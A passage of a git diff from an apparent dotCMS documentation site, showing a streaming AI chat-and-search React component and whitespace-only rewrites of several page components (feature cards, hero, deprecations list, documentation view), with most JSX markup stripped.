+ threshold: ".25",
+ stream: true,
+ }),
+ signal: abortControllerRef.current.signal,
+ });
+
+ if (!response.ok) throw new Error("Network response was not ok");
+ var finalMessage = "";
+ const reader = response.body?.getReader();
+ if (!reader) throw new Error("No reader available");
+
+ // Read the data
+ while (true) {
+ const { done, value } = await reader.read();
+ if (done) break;
+
+ // Convert the chunk to text
+ const chunk = new TextDecoder().decode(value);
+
+ // Split the chunk into individual SSE messages
+ const messageChunks = chunk
+ .split("\n")
+ .filter((line) => line.startsWith("data: "))
+ .map((line) => line.slice(6)); // Remove 'data: ' prefix
+
+ if (chunk.includes("[DONE]")) {
+ break;
+ }
+
+ for (const message of messageChunks) {
+ try {
+ const parsed = JSON.parse(message);
+ if (
+ parsed.choices &&
+ parsed.choices[0].delta &&
+ parsed.choices[0].delta.content
+ ) {
+ setCurrentStreamingMessage(
+ (prev) => prev + parsed.choices[0].delta.content
+ );
+ finalMessage = finalMessage + parsed.choices[0].delta.content;
+ }
+ } catch (e) {
+ console.error("Error parsing SSE message:", e);
+ break;
+ }
+ }
+ }
+
+ // After streaming is complete, add the full message to the messages array
+ setMessages((prev) => [
+ ...prev,
+ {
+ role: "assistant",
+ content: finalMessage,
+ timestamp: Date.now(),
+ mode: "ai",
+ },
+ ]);
+
+ // Clear the streaming message after adding it
+ setCurrentStreamingMessage("");
+ } catch (error) {
+ // Only show error if not aborted
+ if (!(error instanceof DOMException && error.name === "AbortError")) {
+ console.error("Error:", error);
+ setMessages((prev) => [
+ ...prev,
+ {
+ role: "assistant",
+ content: "Sorry, there was an error processing your request.",
+ timestamp: Date.now(),
+ mode: "ai",
+ },
+ ]);
+ }
+ } finally {
+ setLoading(false);
+ abortControllerRef.current = null;
+ }
+ }
+
+ const clearHistory = () => {
+ // Abort any ongoing streaming response
+ if (abortControllerRef.current) {
+ abortControllerRef.current.abort();
+ abortControllerRef.current = null;
+ }
+ setCurrentStreamingMessage("");
+ setMessages([]);
+ setInput("");
+ };
+
+ async function handleSearch(query: string) {
+ setLoading(true);
+ /*
+ // Add user message for search
+ setMessages(prev => [...prev, {
+ role: "user",
+ content: query,
+ timestamp: Date.now(),
+ mode: "search"
+ }])
+
+ */
+
+ try {
+ const response = await fetch(`${API_ENDPOINT}/api/v1/ai/search`, {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/json",
+ Authorization: `Bearer ${API_KEY}`,
+ },
+ body: JSON.stringify({
+ model: "gpt-4o",
+ indexName: "default",
+ prompt: query,
+ operator: "cosine",
+ threshold: ".25",
+ searchLimit: 20,
+ }),
+ });
+
+ if (!response.ok) throw new Error("Network response was not ok");
+ const data = await response.json();
+
+ // Check if there are results
+ if (!data.dotCMSResults || data.dotCMSResults.length === 0) {
+ // Add a "no results" message
+ setMessages((prev) => [
+ ...prev,
+ {
+ role: "assistant",
+ content: "No search results found. Please try different keywords.",
+ timestamp: Date.now(),
+ mode: "search",
+ },
+ ]);
+ return;
+ }
+
+ // Format search results - include all content types
+ const searchResults = data.dotCMSResults
+ .map((result: any) => {
+ // Ensure we have matches
+ if (!result.matches || !result.matches.length) {
+ return null;
+ }
+
+ return {
+ role: "assistant" as const,
+ content: JSON.stringify({
+ title: result.title || "Untitled Result",
+ matches: result.matches || [],
+ content: result.matches[0]?.extractedText
+ ? truncateText(result.matches[0].extractedText, 200)
+ : "No preview available",
+ inode: result.inode,
+ url:
+ result.urlMap ||
+ result.url ||
+ result.slug ||
+ result.urlTitle ||
+ "",
+ score: result.matches[0]?.distance
+ ? parseFloat(result.matches[0].distance)
+ : 0,
+ contentType: result.contentType || "documentation",
+ modDate: result.modDate,
+ }),
+ timestamp: Date.now(),
+ isSearchResult: true,
+ mode: "search" as const,
+ };
+ })
+ .filter(Boolean); // Remove any null items
+
+ // Add search results to messages
+ setMessages((prev) => [...prev, ...searchResults]);
+
+ // Scroll to the last user message after adding search results
+ setTimeout(() => {
+ lastUserMessageRef.current?.scrollIntoView({ behavior: "smooth" });
+ }, 100);
+ } catch (error) {
+ console.error("Error:", error);
+ setMessages((prev) => [
+ ...prev,
+ {
+ role: "assistant",
+ content: "Sorry, there was an error processing your search request.",
+ timestamp: Date.now(),
+ mode: "search",
+ },
+ ]);
+ } finally {
+ setLoading(false);
+ }
+ }
+
+ // Store recent questions when a user asks something
+ const storeRecentQuestion = (question: string) => {
+ // Don't store empty questions
+ if (!question.trim()) return;
+
+ setRecentQuestions((prev) => {
+ let updated: string[];
+ // Only append if in a conversation (filteredMessages.length > 0 && mode === "ai")
+ if (
+ filteredMessages.length > 0 &&
+ mode === "ai" &&
+ prev.length > 0 &&
+ !PreDefinedQuestions.includes(prev[0])
+ ) {
+ // Append the follow-up to the most recent question
+ updated = [prev[0] + " " + question, ...prev.slice(1)].slice(0, 5);
+ } else {
+ // Check if the question is in the predefined list
+ if (PreDefinedQuestions.includes(question)) {
+ updated = prev;
+ } else if (prev.includes(question)) {
+ // If the same question exists, remove it from its current position
+ // and add it to the top of the history
+ updated = [question, ...prev.filter((q) => q !== question)].slice(
+ 0,
+ 5
+ );
+ } else {
+ // Add new question to the top
+ updated = [question, ...prev].slice(0, 5);
+ }
+ }
+ localStorage.setItem(RECENT_QUESTIONS_KEY, JSON.stringify(updated));
+ return updated;
+ });
+ };
+
+ async function handleSubmit(e: React.FormEvent) {
+ e.preventDefault();
+
+ if (loading) return;
+ if (!input.trim()) return;
+
+ // Store the question
+ storeRecentQuestion(input.trim());
+
+ if (mode === "search") {
+ setMessages([]);
+ await handleSearch(input.trim());
+ } else {
+ await sendMessage(e);
+ }
+ }
+
+ const handleModeChange = (pressed: boolean) => {
+ // Abort any ongoing streaming response
+ if (abortControllerRef.current) {
+ abortControllerRef.current.abort();
+ abortControllerRef.current = null;
+ }
+
+ //setCurrentStreamingMessage("")
+ //setMessages([])
+ const newMode = pressed ? "search" : "ai";
+ setMode(newMode);
+
+ if (newMode === "search" && input.trim() == "") {
+ setInput(recentQuestions[0]);
+ setTimeout(() => {
+ //formRef.current?.requestSubmit();
+ }, 100);
+ }
+ // Save the mode preference to localStorage
+ localStorage.setItem(MODE_STORAGE_KEY, newMode);
+
+ // Don't auto-submit when changing modes - let the user press Enter
+ };
+
+ const handleChatAboutResults = () => {
+ handleModeChange(false);
+ // Get the last user message (which should be the search query)
+ const lastUserMessage = filteredMessages.findLast((m) => m.role === "user");
+ if (lastUserMessage) {
+ setInput(lastUserMessage.content);
+ // Submit the form after a short delay to ensure mode switch is complete
+ setTimeout(() => {
+ formRef.current?.requestSubmit();
+ }, 100);
+ }
+ };
+
+ return (
+
+
+
+
+ {filteredMessages.length === 0 && (
+ <>
+ {loading ? (
+
+
+
+ Searching documentation...
+
+
+ ) : (
+
+
+
+ Welcome to dotAI Assistant
+
+
+ I can answer your questions or help you find information about
+ the dotCMS platform. Here are some previous questions:
+
+
+ {(() => {
+ // Always show up to 5 questions total
+ const questionsToShow: string[] = [];
+
+ // Add all recent questions first (up to 5)
+ if (recentQuestions.length > 0) {
+ recentQuestions.forEach((question) => {
+ questionsToShow.push(question);
+ });
+ }
+
+ // Fill remaining slots with predefined questions to reach a total of 5
+ if (questionsToShow.length < 5) {
+ // Filter out predefined questions that match recent ones to avoid duplicates
+ const filteredPredefined = PreDefinedQuestions.filter(
+ (q) => !questionsToShow.includes(q)
+ );
+
+ // Add unique predefined questions to fill the remaining slots (up to 5 total)
+ filteredPredefined
+ .slice(0, 5 - questionsToShow.length)
+ .forEach((question) => {
+ questionsToShow.push(question);
+ });
+ }
+
+ // Render the questions
+ return questionsToShow.map((question, index) => (
+
+ handleExampleClick(question)}
+ >
+ {question}
+
+ {recentQuestions.includes(question) &&
+ !PreDefinedQuestions.includes(question) && (
+ {
+ e.stopPropagation();
+ setRecentQuestions((prev) => {
+ const updated = prev.filter(
+ (q) => q !== question
+ );
+ localStorage.setItem(
+ RECENT_QUESTIONS_KEY,
+ JSON.stringify(updated)
+ );
+ return updated;
+ });
+ }}
+ aria-label="Remove from history"
+ >
+
+
+ )}
+
+ ));
+ })()}
+
+
+ )}
+ >
+ )}
+ {filteredMessages
+ .filter((m) => m.isSearchResult)
+ .filter((m) => m.content && !JSON.parse(m.content).url.startsWith("/content."))
+ .map((message, index) => (
+
+
+
+ ))}
+
+ {filteredMessages
+ .filter((m) => !m.isSearchResult)
+ .map((message, index) => (
+
+ {message.role === "user" ? (
+
+ ) : (
+
+ )}
+
+
+ {message.role === "user"
+ ? "You"
+ : message.isSearchResult
+ ? "Search Result"
+ : "dotAI Assistant"}
+
+ {message.isSearchResult ? (
+
+ ) : (
+
+
{
+ const match = /language-(\w+)/.exec(className || "");
+ const codeContent = String(children).replace(
+ /\n$/,
+ ""
+ );
+
+ return !inline && match ? (
+
+
+
+ {codeContent}
+
+
+ ) : (
+
+ {children}
+
+ );
+ },
+ }}
+ >
+ {message.content}
+
+
+ )}
+
+
+ ))}
+ {mode === "search" &&
+ filteredMessages.length > 0 &&
+ filteredMessages.some((m) => m.isSearchResult) && (
+
+
+
+ Chat about these results
+
+
+ )}
+ {currentStreamingMessage && mode === "ai" && (
+
+
+
+
dotAI Assistant
+
+
+
+
+ {String(children).replace(/\n$/, "")}
+
+
+ ) : (
+
+ {children}
+
+ );
+ },
+ }}
+ >
+ {currentStreamingMessage}
+
+
+
+
+ )}
+
+
+
+ );
+}
diff --git a/components/chat/SearchModal.tsx b/components/chat/SearchModal.tsx
index aaa7061..a1b0185 100644
--- a/components/chat/SearchModal.tsx
+++ b/components/chat/SearchModal.tsx
@@ -1,27 +1,27 @@
-"use client"
-
-import { Dialog, DialogContent, DialogTitle } from "@/components/ui/dialog"
-import { Search } from "lucide-react"
-import { ChatComponent } from "../chat/ChatComponent"
-
-export function SearchModal({
- isOpen,
- onClose
-}: {
- isOpen: boolean
- onClose: () => void
-}) {
- return (
-
-
-
-
- dotAI Assistant
-
-
-
-
-
-
- )
+"use client"
+
+import { Dialog, DialogContent, DialogTitle } from "@/components/ui/dialog"
+import { Search } from "lucide-react"
+import { ChatComponent } from "../chat/ChatComponent"
+
+export function SearchModal({
+ isOpen,
+ onClose
+}: {
+ isOpen: boolean
+ onClose: () => void
+}) {
+ return (
+
+
+
+
+ dotAI Assistant
+
+
+
+
+
+
+ )
}
\ No newline at end of file
diff --git a/components/content-types/feature-card.tsx b/components/content-types/feature-card.tsx
index f94e715..4de8db3 100644
--- a/components/content-types/feature-card.tsx
+++ b/components/content-types/feature-card.tsx
@@ -1,132 +1,132 @@
-import { Card, CardContent } from "@/components/ui/card"
- import Link from "next/link"
-import { LucideIcon, ExternalLink } from "lucide-react"
-import { DocLink } from "@/components/content-types/doc-link"
-import { Config } from "@/util/config";
-import Image from "next/image";
-interface DocLinkType {
- url: string;
- icon: any;
- title: string;
- color: string;
-}
-
-interface FeatureCardProps {
- href: string;
- icon: LucideIcon;
- title: string;
- description: string;
- imageIdentifier?: string;
- color: string;
- links: DocLinkType[];
- count: number;
- useIconOnly?: boolean;
-
- imageUrl?: string;
- externalLink?:boolean;
-}
-
-export default function FeatureCard({
- href,
- icon: Icon,
- title,
- description,
- imageIdentifier,
- color,
- count = 0,
- links = [],
- useIconOnly = false,
- imageUrl,
- externalLink = false
-}: FeatureCardProps) {
-
- const myHref = href ? href : "#";
- const imageUrlAlt = imageIdentifier && (imageIdentifier.startsWith('http') || imageIdentifier.startsWith('/dA/')) ? imageIdentifier : `${Config.CDNHost}/dA/${imageIdentifier}/`;
-
- return (
-
-
-
-
-
-
-
-
{title}
- {externalLink &&
-
- }
-
-
- {count >0 && (
-
- {count > 0 ? count : '+'}
-
- )}
-
-
-
- {description}
-
-
- {imageUrl ? (
-
- ) : useIconOnly ? (
-
-
-
- ) : (
-
- )}
-
-
-
-
-
-
- {links.map((link) => (
-
- ))}
-
-
- )
-}
+import { Card, CardContent } from "@/components/ui/card"
+ import Link from "next/link"
+import { LucideIcon, ExternalLink } from "lucide-react"
+import { DocLink } from "@/components/content-types/doc-link"
+import { Config } from "@/util/config";
+import Image from "next/image";
+interface DocLinkType {
+ url: string;
+ icon: any;
+ title: string;
+ color: string;
+}
+
+interface FeatureCardProps {
+ href: string;
+ icon: LucideIcon;
+ title: string;
+ description: string;
+ imageIdentifier?: string;
+ color: string;
+ links: DocLinkType[];
+ count: number;
+ useIconOnly?: boolean;
+
+ imageUrl?: string;
+ externalLink?:boolean;
+}
+
+export default function FeatureCard({
+ href,
+ icon: Icon,
+ title,
+ description,
+ imageIdentifier,
+ color,
+ count = 0,
+ links = [],
+ useIconOnly = false,
+ imageUrl,
+ externalLink = false
+}: FeatureCardProps) {
+
+ const myHref = href ? href : "#";
+ const imageUrlAlt = imageIdentifier && (imageIdentifier.startsWith('http') || imageIdentifier.startsWith('/dA/')) ? imageIdentifier : `${Config.CDNHost}/dA/${imageIdentifier}/`;
+
+ return (
+
+
+
+
+
+
+
+
{title}
+ {externalLink &&
+
+ }
+
+
+ {count >0 && (
+
+ {count > 0 ? count : '+'}
+
+ )}
+
+
+
+ {description}
+
+
+ {imageUrl ? (
+
+ ) : useIconOnly ? (
+
+
+
+ ) : (
+
+ )}
+
+
+
+
+
+
+ {links.map((link) => (
+
+ ))}
+
+
+ )
+}
diff --git a/components/content-types/hero.tsx b/components/content-types/hero.tsx
index 32c6132..82dc7fb 100644
--- a/components/content-types/hero.tsx
+++ b/components/content-types/hero.tsx
@@ -1,105 +1,105 @@
-import {
- PenTool,
- Code,
- Server,
-} from "lucide-react"
-import FeatureCard from "./feature-card"
-
-interface Card {
- _map?: Record;
- title: string;
- description: string;
- widgetCodeJSON?: string | any;
- identifier?: string;
- url?: string;
- layout?: string;
- titleImage?: {
- modDate?: string;
- sha256?: string;
- mime?: string;
- title?: string;
- versionPath?: string;
- focalPoint?: string;
- path?: string;
- isImage?: boolean;
- idPath?: string;
- size?: number;
- name?: string;
- width?: number;
- height?: number;
- };
- callToAction?: {
- url: string;
- icon: any;
- title: string;
- color: string;
- }[];
-}
-
-interface HeroProps {
- title: string;
- description: string;
- card1: Card;
- card2?: Card;
- card3?: Card;
-}
-
-export default function Hero(props: HeroProps) {
- const { title, description, card1, card2, card3 } = props;
-
- const developerLinks = card1?.callToAction || [];
- const authorLinks = card2?.callToAction || [];
- const devopsLinks = card3?.callToAction || [];
-
- if(!card1) {
- return <>No cards >;
- }
- return (
-
- {title}
-
- {description}
-
-
-
-
-
- {card2 && (
-
- )}
-
- {card3 && (
-
- )}
-
-
- )
-}
-
+import {
+ PenTool,
+ Code,
+ Server,
+} from "lucide-react"
+import FeatureCard from "./feature-card"
+
+interface Card {
+ _map?: Record;
+ title: string;
+ description: string;
+ widgetCodeJSON?: string | any;
+ identifier?: string;
+ url?: string;
+ layout?: string;
+ titleImage?: {
+ modDate?: string;
+ sha256?: string;
+ mime?: string;
+ title?: string;
+ versionPath?: string;
+ focalPoint?: string;
+ path?: string;
+ isImage?: boolean;
+ idPath?: string;
+ size?: number;
+ name?: string;
+ width?: number;
+ height?: number;
+ };
+ callToAction?: {
+ url: string;
+ icon: any;
+ title: string;
+ color: string;
+ }[];
+}
+
+interface HeroProps {
+ title: string;
+ description: string;
+ card1: Card;
+ card2?: Card;
+ card3?: Card;
+}
+
+export default function Hero(props: HeroProps) {
+ const { title, description, card1, card2, card3 } = props;
+
+ const developerLinks = card1?.callToAction || [];
+ const authorLinks = card2?.callToAction || [];
+ const devopsLinks = card3?.callToAction || [];
+
+ if(!card1) {
+ return <>No cards >;
+ }
+ return (
+
+ {title}
+
+ {description}
+
+
+
+
+
+ {card2 && (
+
+ )}
+
+ {card3 && (
+
+ )}
+
+
+ )
+}
+
diff --git a/components/content-types/webPageContent.tsx b/components/content-types/webPageContent.tsx
index 8082706..033e6ba 100644
--- a/components/content-types/webPageContent.tsx
+++ b/components/content-types/webPageContent.tsx
@@ -1,32 +1,32 @@
-import React from 'react';
-import { isJSON } from '@/util/utils';
-import { DotBlockEditor } from '../shared/dotBlockEditor';
-interface WebPageContentProps {
- title: string;
- body: string;
-}
-
-const WebPageContent: React.FC = (contentlet) => {
- const { title, body } = contentlet;
-
- return (
-
-
-
- {isJSON(body) ? (
-
- ) : (
- <>
-
- >
- )}
-
-
- );
-};
-
-export default WebPageContent;
-
+import React from 'react';
+import { isJSON } from '@/util/utils';
+import { DotBlockEditor } from '../shared/dotBlockEditor';
+interface WebPageContentProps {
+ title: string;
+ body: string;
+}
+
+const WebPageContent: React.FC = (contentlet) => {
+ const { title, body } = contentlet;
+
+ return (
+
+
+
+ {isJSON(body) ? (
+
+ ) : (
+ <>
+
+ >
+ )}
+
+
+ );
+};
+
+export default WebPageContent;
+
diff --git a/components/deprecations/Deprecations.tsx b/components/deprecations/Deprecations.tsx
index db27751..3775802 100644
--- a/components/deprecations/Deprecations.tsx
+++ b/components/deprecations/Deprecations.tsx
@@ -1,291 +1,291 @@
-"use client";
-import { useMemo, useState, useEffect } from "react";
-import Breadcrumbs from "@/components/navigation/Breadcrumbs.js";
-import type { TDeprecation } from "@/services/docs/getDeprecations/types";
-import OnThisPage from "../navigation/OnThisPage";
-import { DeprecationCard } from "./DeprecationCard";
-import { Input } from "@/components/ui/input";
-import { Search, ChevronLeft, ChevronRight } from "lucide-react";
-import {
- Pagination,
- PaginationContent,
- PaginationItem,
- PaginationLink,
- PaginationNext,
- PaginationPrevious,
-} from "@/components/ui/pagination";
-import { useDeprecations, type StatusFilter } from "@/hooks/useDeprecations";
-import { useSearchParams, useRouter } from "next/navigation";
-
-type Props = {
- sideNav: any[];
- slug: string;
- initialItems?: TDeprecation[];
-};
-
-function hasBlockContent(block: any): boolean {
- if (!block) return false;
- if (typeof block === "string") return block.trim().length > 0;
-
- const json = block?.json || block;
- const content = json?.content;
-
- if (!Array.isArray(content) || content.length === 0) return false;
-
- // Check if any content node has actual text content
- return content.some((node: any) => {
- // If node has content array, check if any child has text
- if (node.content && Array.isArray(node.content)) {
- return node.content.some((child: any) =>
- child.type === 'text' && child.text && child.text.trim().length > 0
- );
- }
- // If node itself has text
- if (node.type === 'text' && node.text && node.text.trim().length > 0) {
- return true;
- }
- return false;
- });
-}
-
-function isValidDeprecation(item: TDeprecation): boolean {
- return Boolean(
- item?.title &&
- item?.dateDeprecated &&
- item?.versionDeprecated &&
- hasBlockContent(item?.recommendation)
- );
-}
-
-export default function Deprecations({ sideNav, slug, initialItems }: Props) {
- const router = useRouter();
- const searchParams = useSearchParams();
-
- // Initialize state from URL params
- const [searchQuery, setSearchQuery] = useState(searchParams.get("search") || "");
- const [statusFilter, setStatusFilter] = useState(
- (searchParams.get("status") as StatusFilter) || "all"
- );
- const [currentPage, setCurrentPage] = useState(Number(searchParams.get("page")) || 1);
-
- // Get all valid items
- const validItems = useMemo(() => {
- const list = Array.isArray(initialItems) ? initialItems : [];
- return list.filter(isValidDeprecation);
- }, [initialItems]);
-
- // Use hook for filtering and pagination
- const { paginatedItems, filteredItems, pagination } = useDeprecations({
- allItems: validItems,
- searchQuery,
- statusFilter,
- currentPage,
- itemsPerPage: 10,
- });
-
- const totalPages = pagination.totalPages;
-
- // Reset to page 1 when filters change (but not when page changes)
- useEffect(() => {
- setCurrentPage(1);
- // eslint-disable-next-line react-hooks/exhaustive-deps
- }, [searchQuery, statusFilter]);
-
- // Sync all state to URL
- useEffect(() => {
- const params = new URLSearchParams();
-
- if (currentPage > 1) params.set("page", currentPage.toString());
- if (searchQuery) params.set("search", searchQuery);
- if (statusFilter !== "all") params.set("status", statusFilter);
-
- const queryString = params.toString();
- const targetUrl = queryString ? `?${queryString}` : window.location.pathname;
- const currentUrl = window.location.pathname + window.location.search;
-
- // Only push if URL needs to change
- if (currentUrl !== targetUrl) {
- router.push(targetUrl, { scroll: false });
- }
- }, [currentPage, searchQuery, statusFilter, router]);
-
- const handleSearch = (e: React.ChangeEvent) => {
- setSearchQuery(e.target.value);
- };
-
- const handleStatusFilter = (status: StatusFilter) => {
- setStatusFilter(status);
- };
-
- const handlePageChange = (page: number) => {
- setCurrentPage(page);
- };
-
- return (
-
-
-
-
-
-
Deprecations
-
- The following features are deprecated or retired. Review details and recommendations to plan migrations.
-
-
- {/* Filters */}
-
- {/* Search */}
-
-
-
-
-
- {/* Status Filter */}
-
- handleStatusFilter("all")}
- className={`px-4 py-2 rounded-lg text-sm font-medium transition-colors ${
- statusFilter === "all"
- ? "bg-primary text-primary-foreground"
- : "bg-muted hover:bg-muted/80"
- }`}
- >
- All
-
- handleStatusFilter("deprecated")}
- className={`px-4 py-2 rounded-lg text-sm font-medium transition-colors ${
- statusFilter === "deprecated"
- ? "bg-amber-600 text-white dark:bg-amber-700"
- : "bg-muted hover:bg-muted/80"
- }`}
- >
- Deprecated
-
- handleStatusFilter("retired")}
- className={`px-4 py-2 rounded-lg text-sm font-medium transition-colors ${
- statusFilter === "retired"
- ? "bg-destructive text-destructive-foreground"
- : "bg-muted hover:bg-muted/80"
- }`}
- >
- Retired
-
-
-
-
- {/* Results count */}
-
-
- {(() => {
- const startIdx = (currentPage - 1) * 10 + 1;
- const endIdx = Math.min(currentPage * 10, filteredItems.length);
- return `Showing ${startIdx}-${endIdx} of ${filteredItems.length} deprecation${filteredItems.length !== 1 ? 's' : ''}`;
- })()}
- {filteredItems.length !== validItems.length && ` (filtered from ${validItems.length} total)`}
-
- {totalPages > 1 && (
-
- Page {currentPage} of {totalPages}
-
- )}
-
-
- {/* Cards */}
-
- {paginatedItems.map((dep, idx) => (
-
- ))}
-
-
- {/* Pagination */}
- {totalPages > 1 && (
-
-
-
- handlePageChange(Math.max(1, currentPage - 1))}
- aria-disabled={!pagination.hasPreviousPage}
- className={!pagination.hasPreviousPage ? 'pointer-events-none opacity-50 cursor-not-allowed' : 'cursor-pointer'}
- />
-
-
- {Array.from({ length: totalPages }, (_, i) => i + 1).map((pageNum) => (
-
- handlePageChange(pageNum)}
- isActive={pageNum === currentPage}
- className="cursor-pointer"
- >
- {pageNum}
-
-
- ))}
-
-
- handlePageChange(Math.min(totalPages, currentPage + 1))}
- aria-disabled={!pagination.hasNextPage}
- className={!pagination.hasNextPage ? 'pointer-events-none opacity-50 cursor-not-allowed' : 'cursor-pointer'}
- />
-
-
-
- )}
-
-
-
-
-
- );
-}
-
-
+"use client";
+import { useMemo, useState, useEffect } from "react";
+import Breadcrumbs from "@/components/navigation/Breadcrumbs.js";
+import type { TDeprecation } from "@/services/docs/getDeprecations/types";
+import OnThisPage from "../navigation/OnThisPage";
+import { DeprecationCard } from "./DeprecationCard";
+import { Input } from "@/components/ui/input";
+import { Search, ChevronLeft, ChevronRight } from "lucide-react";
+import {
+ Pagination,
+ PaginationContent,
+ PaginationItem,
+ PaginationLink,
+ PaginationNext,
+ PaginationPrevious,
+} from "@/components/ui/pagination";
+import { useDeprecations, type StatusFilter } from "@/hooks/useDeprecations";
+import { useSearchParams, useRouter } from "next/navigation";
+
+type Props = {
+ sideNav: any[];
+ slug: string;
+ initialItems?: TDeprecation[];
+};
+
+function hasBlockContent(block: any): boolean {
+ if (!block) return false;
+ if (typeof block === "string") return block.trim().length > 0;
+
+ const json = block?.json || block;
+ const content = json?.content;
+
+ if (!Array.isArray(content) || content.length === 0) return false;
+
+ // Check if any content node has actual text content
+ return content.some((node: any) => {
+ // If node has content array, check if any child has text
+ if (node.content && Array.isArray(node.content)) {
+ return node.content.some((child: any) =>
+ child.type === 'text' && child.text && child.text.trim().length > 0
+ );
+ }
+ // If node itself has text
+ if (node.type === 'text' && node.text && node.text.trim().length > 0) {
+ return true;
+ }
+ return false;
+ });
+}
+
+function isValidDeprecation(item: TDeprecation): boolean {
+ return Boolean(
+ item?.title &&
+ item?.dateDeprecated &&
+ item?.versionDeprecated &&
+ hasBlockContent(item?.recommendation)
+ );
+}
+
+export default function Deprecations({ sideNav, slug, initialItems }: Props) {
+ const router = useRouter();
+ const searchParams = useSearchParams();
+
+ // Initialize state from URL params
+ const [searchQuery, setSearchQuery] = useState(searchParams.get("search") || "");
+ const [statusFilter, setStatusFilter] = useState(
+ (searchParams.get("status") as StatusFilter) || "all"
+ );
+ const [currentPage, setCurrentPage] = useState(Number(searchParams.get("page")) || 1);
+
+ // Get all valid items
+ const validItems = useMemo(() => {
+ const list = Array.isArray(initialItems) ? initialItems : [];
+ return list.filter(isValidDeprecation);
+ }, [initialItems]);
+
+ // Use hook for filtering and pagination
+ const { paginatedItems, filteredItems, pagination } = useDeprecations({
+ allItems: validItems,
+ searchQuery,
+ statusFilter,
+ currentPage,
+ itemsPerPage: 10,
+ });
+
+ const totalPages = pagination.totalPages;
+
+ // Reset to page 1 when filters change (but not when page changes)
+ useEffect(() => {
+ setCurrentPage(1);
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ }, [searchQuery, statusFilter]);
+
+ // Sync all state to URL
+ useEffect(() => {
+ const params = new URLSearchParams();
+
+ if (currentPage > 1) params.set("page", currentPage.toString());
+ if (searchQuery) params.set("search", searchQuery);
+ if (statusFilter !== "all") params.set("status", statusFilter);
+
+ const queryString = params.toString();
+ const targetUrl = queryString ? `?${queryString}` : window.location.pathname;
+ const currentUrl = window.location.pathname + window.location.search;
+
+ // Only push if URL needs to change
+ if (currentUrl !== targetUrl) {
+ router.push(targetUrl, { scroll: false });
+ }
+ }, [currentPage, searchQuery, statusFilter, router]);
+
+ const handleSearch = (e: React.ChangeEvent) => {
+ setSearchQuery(e.target.value);
+ };
+
+ const handleStatusFilter = (status: StatusFilter) => {
+ setStatusFilter(status);
+ };
+
+ const handlePageChange = (page: number) => {
+ setCurrentPage(page);
+ };
+
+ return (
+
+
+
+
+
+
Deprecations
+
+ The following features are deprecated or retired. Review details and recommendations to plan migrations.
+
+
+ {/* Filters */}
+
+ {/* Search */}
+
+
+
+
+
+ {/* Status Filter */}
+
+ handleStatusFilter("all")}
+ className={`px-4 py-2 rounded-lg text-sm font-medium transition-colors ${
+ statusFilter === "all"
+ ? "bg-primary text-primary-foreground"
+ : "bg-muted hover:bg-muted/80"
+ }`}
+ >
+ All
+
+ handleStatusFilter("deprecated")}
+ className={`px-4 py-2 rounded-lg text-sm font-medium transition-colors ${
+ statusFilter === "deprecated"
+ ? "bg-amber-600 text-white dark:bg-amber-700"
+ : "bg-muted hover:bg-muted/80"
+ }`}
+ >
+ Deprecated
+
+ handleStatusFilter("retired")}
+ className={`px-4 py-2 rounded-lg text-sm font-medium transition-colors ${
+ statusFilter === "retired"
+ ? "bg-destructive text-destructive-foreground"
+ : "bg-muted hover:bg-muted/80"
+ }`}
+ >
+ Retired
+
+
+
+
+ {/* Results count */}
+
+
+ {(() => {
+ const startIdx = (currentPage - 1) * 10 + 1;
+ const endIdx = Math.min(currentPage * 10, filteredItems.length);
+ return `Showing ${startIdx}-${endIdx} of ${filteredItems.length} deprecation${filteredItems.length !== 1 ? 's' : ''}`;
+ })()}
+ {filteredItems.length !== validItems.length && ` (filtered from ${validItems.length} total)`}
+
+ {totalPages > 1 && (
+
+ Page {currentPage} of {totalPages}
+
+ )}
+
+
+ {/* Cards */}
+
+ {paginatedItems.map((dep, idx) => (
+
+ ))}
+
+
+ {/* Pagination */}
+ {totalPages > 1 && (
+
+
+
+ handlePageChange(Math.max(1, currentPage - 1))}
+ aria-disabled={!pagination.hasPreviousPage}
+ className={!pagination.hasPreviousPage ? 'pointer-events-none opacity-50 cursor-not-allowed' : 'cursor-pointer'}
+ />
+
+
+ {Array.from({ length: totalPages }, (_, i) => i + 1).map((pageNum) => (
+
+ handlePageChange(pageNum)}
+ isActive={pageNum === currentPage}
+ className="cursor-pointer"
+ >
+ {pageNum}
+
+
+ ))}
+
+
+ handlePageChange(Math.min(totalPages, currentPage + 1))}
+ aria-disabled={!pagination.hasNextPage}
+ className={!pagination.hasNextPage ? 'pointer-events-none opacity-50 cursor-not-allowed' : 'cursor-pointer'}
+ />
+
+
+
+ )}
+
+
+
+
+
+ );
+}
+
+
diff --git a/components/documentation/Documentation.js b/components/documentation/Documentation.js
index 500abde..2c79f4d 100644
--- a/components/documentation/Documentation.js
+++ b/components/documentation/Documentation.js
@@ -1,93 +1,93 @@
-"use client";
-
-import React, { useEffect, useRef, useState } from "react";
-
-import Breadcrumbs from "@/components/navigation/Breadcrumbs";
-import MarkdownContent from "@/components/MarkdownContent";
-import OnThisPage from "../navigation/OnThisPage";
-import Warn from "../mdx/Warn";
-import Info from "../mdx/Info";
-import getDeprecations from "@/services/docs/getDeprecations/getDeprecations";
-import { DeprecationCard } from "../deprecations/DeprecationCard";
-
-
-function cleanMarkdown(markdownString, identifierString) {
- return markdownString
- .replaceAll("${docImage}", "/dA/" + identifierString + "/diagram")
- .replaceAll("", " ");
-}
-
-const Documentation = ({ contentlet, sideNav, slug, deprecation }) => {
- // Use server-provided deprecation match (no client fetch needed)
- const matchedDeprecation = deprecation || null;
-
- if (!contentlet || !sideNav) {
- return Loading...
;
- }
-
- const documentation = cleanMarkdown(
- contentlet.documentation,
- contentlet.identifier
- );
-
- return (
- <>
-
- {/* Main Content Area */}
-
-
-
-
-
-
{contentlet.title}
- {contentlet.tag.includes("beta") && (
-
-
- Beta Feature
-
- )}
-
- {(matchedDeprecation || contentlet.tag.includes("deprecated")) && (
-
- {matchedDeprecation ? (
-
- ) : (
-
- This function has been deprecated.
-
- )}
-
- )}
-
-
-
-
- {/* Right Sidebar - Hide on smaller screens */}
-
-
- >
- );
-};
-
-export default Documentation;
+"use client";
+
+import React, { useEffect, useRef, useState } from "react";
+
+import Breadcrumbs from "@/components/navigation/Breadcrumbs";
+import MarkdownContent from "@/components/MarkdownContent";
+import OnThisPage from "../navigation/OnThisPage";
+import Warn from "../mdx/Warn";
+import Info from "../mdx/Info";
+import getDeprecations from "@/services/docs/getDeprecations/getDeprecations";
+import { DeprecationCard } from "../deprecations/DeprecationCard";
+
